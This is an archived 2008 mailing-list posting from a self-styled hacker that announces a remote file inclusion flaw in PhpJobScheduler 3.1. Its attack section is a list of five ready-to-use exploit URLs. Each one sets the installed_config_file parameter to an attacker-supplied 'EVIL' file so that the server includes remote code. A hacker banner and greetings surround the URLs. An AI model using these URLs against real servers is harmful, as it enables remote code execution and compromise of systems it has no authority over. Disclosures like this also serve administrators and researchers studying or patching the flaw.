Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Cross Site Scripting (XSS) in Owl <=0.95, CVE-2008-3100

ViArt <= 3.5 SQL Injection

Multiple Cross-Site Scripting Vulnerabilities in Web Wiz Rich Text Editor version 4.02

JamRoom <= 3.3.8 Authentication Bypass

From:	Ghost hacker <ghost-r00t_(at)_hotmail.com>
Date:	29.07.2008
Subject:	PhpJobScheduler 3.1 Remote File Inclusion Vulnerability

#################################################################################
#################
PhpJobScheduler 3.1 Remote File Inclusion Vulnerability
Ghost Hacker, http://gh0st10.wordpress.com
#################################################################################
#################
[~] Found by : Ghost Hacker                                    |,  .-.  .-.  ,|
[~] HomePage : http://Real-hack.net                            | )(_o/  \o_)( |
[~] My Email : Ghost-r00t@Hotmail.com                          |/     /\     \|
[~] Name Script : PhpJobScheduler 3.1
[~] Download : http://www.brothersoft.com/phpjobscheduler-download-93435.html
#################################################################################
#################
[~] Exploit :
http://xxxx.com/[path]/pjsfiles/phpjobscheduler.php?installed_config_file=EVIL
http://xxxx.com/[path]/pjsfiles/modify.php?installed_config_file=EVIL
http://xxxx.com/[path]/pjsfiles/index.php?installed_config_file=EVIL
http://xxxx.com/[path]/pjsfiles/delete.php?installed_config_file=EVIL
http://xxxx.com/[path]/pjsfiles/add-modify.php?installed_config_file=EVIL
#################################################################################
#################
[~] Greetz :
All Members Real Hack And All My Friends ..
#################################################################################
#################
Found by Ghost Hacker, http://gh0st10.wordpress.com, My Team R-h
#################################################################################
#################
_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/